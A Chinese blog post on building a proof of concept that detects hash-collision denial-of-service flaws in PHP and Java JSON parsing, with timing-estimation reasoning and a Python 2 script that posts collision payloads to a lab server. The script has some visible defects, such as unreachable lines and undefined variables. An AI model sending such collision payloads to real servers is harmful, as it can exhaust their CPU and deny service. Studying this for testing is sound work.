hash碰撞POC：
该类型漏洞POC编写过程难点有二：
一. hash碰撞数据的产生或收集
二. 使用responseTime来判断是否存在hash，如何精确的得到
三. 如何估算出服务器的处理/响应时间，以用来判断是否存在漏洞。
github能找到hash碰撞的POC，使用python编写的
该POC生成hashcollision的算法思想：
1. 取一个随机数n，由n生成 k维的笛卡尔积
可以理解为k维的数组，如array[AA][BB][CC]，计算后为“AABBCC”
2. 将所有数组的值取出来，设定hash算法，计算每个值在该hash算法下的hash值
3. 随机取一个数的hash值，再取出其他与该hash值相同的数，组成hash碰撞的payload
将payload放入POST数据中，使用socket发包，由发包后和接受完整数据后的时间差得出响应时间。
该POC的弊端在于，如果只是做检测，没必要每次都生成payload，只需要生成一次payload，就可以多次测试了。
另一个难点，如何准确的判断responseTime。
这一点以burpsuite的时间为准
以自己搭建的内网测试环境，代码为
<?php
$startTime = microtime(true);
$rest = file_get_contents("php://input");
$a=json_decode($rest,true);
?>
burpsuite中，不发送POST数据时间为10ms左右，发送正常的json数据时间为 100ms左右
而自己编写的代码，发送正常json数据数据时
1. 计算requests前后的时间差，会有很大的误差，发送数据的时间和接受的时间都会计入在内。而发送的payload较大，通常达到1M，所以时间上有误差。得出时间1300ms左右
2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少，为800ms左右
3. github上的POC，使用socket发送数据，截取recv前后的时间差， 时间在1200ms左右。
很难接近burpsuite得出的时间，我想主要是request将发送数据的时间计算在内了吧。
由此，可以估算发送数据的时间
time=(发送正常json的时间-不发送数据的时间) ，再 *4/5 （*4/5是估算去除掉服务器处理正常json时的处理时间）
设置判断存在碰撞漏洞的时间线 limit为
limit=发送正常json数据的时间-time（发送数据的时间）
在每一个payload发送的时间上减去 n/m*time（）按发送数据的大小比例估算出的发送数据的时间）
如果超过划定的时间线，则可能为hash碰撞漏洞
经测试，可判断出自己搭建的环境上的hash碰撞漏洞。
测试仍然受网络速度影响。
存在许多瑕疵，仍然可以改进。
比如增加数据量，让服务器处理碰撞数据的时间倍增，则发送数据的时间比重缩小，影响降低。
最后贴上测试代码，其中的payload明天再贴上
payload数据还可以改进增加。
#coding:utf-8
import time
import requests
import jsonToString
import pycurl
import thread
class Test:
def __init__(self):
self.contents = ‘‘
def body_callback(self,buf):
self.contents = self.contents + buf
def timeOfRequest(url,data):
start=time.time()
#print data
try:
q=requests.post(url,data)
#print q.content
return q.elapsed.total_seconds()
except:
pass
end=time.time()
return 1000000
#return (end-start)
def test_gzip(input_url,data):
t = Test()
#gzip_test = file("gzip_test.txt", ‘w‘)
c = pycurl.Curl()
c.setopt(pycurl.WRITEFUNCTION,t.body_callback)
c.setopt(pycurl.ENCODING, ‘gzip‘)
c.setopt(pycurl.URL,input_url)
c.setopt(pycurl.POSTFIELDS, data)
c.perform()
http_total_time = c.getinfo(pycurl.TOTAL_TIME)
return http_total_time
http_size = c.getinfo(pycurl.SIZE_DOWNLOAD)
print ‘conn_time pre_tran start_tran total_time‘
print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time)
#print timeOfRequest(url,"normal")
def control(url,string,data):
#print string
return test_gzip(url,data)
#time=timeOfRequest(url,data)
#print time
#if time > 26:
# print "Probably have hashcollistion"
def show(times,limit):
for name in times:
if times[name]>limit:
print "Probably have HashCollision==>",
print name+":",
print times[name]
def check(url):
nulldata=open("null.txt","r").readline()
normaldata=open("normal.txt","r").readline()
phpjsondata=open("phpjson.txt","r").readline()
javajsondata=open("javajson.txt","r").readline()
phpdata=jsonToString.jsonToString(phpjsondata)
javadata=jsonToString.jsonToString(javajsondata)
times={}
print "NO THREAD"
times["null"]=control(url,"null",nulldata)
time.sleep(1)
times["normal"]=control(url,"normal",normaldata) #利用normal，算出发送大量数据的时间，所占比例约为 (normal-null)*4/5
time.sleep(1)
trantime=(times["normal"]-times["null"])*4/5
base=times["normal"]-trantime
limit=base*13
print limit
times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime
times["php"]=control(url,"php",phpdata)-1.36*trantime
times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime
times["java"]=control(url,"java",javadata)-2.3*trantime
show(times,limit)
if __name__ == ‘__main__‘:
url="http://10.252.223.15/test.php"
check(url)
# while 1:
# pass
原文地址：https://www.cnblogs.com/huim/p/8486104.html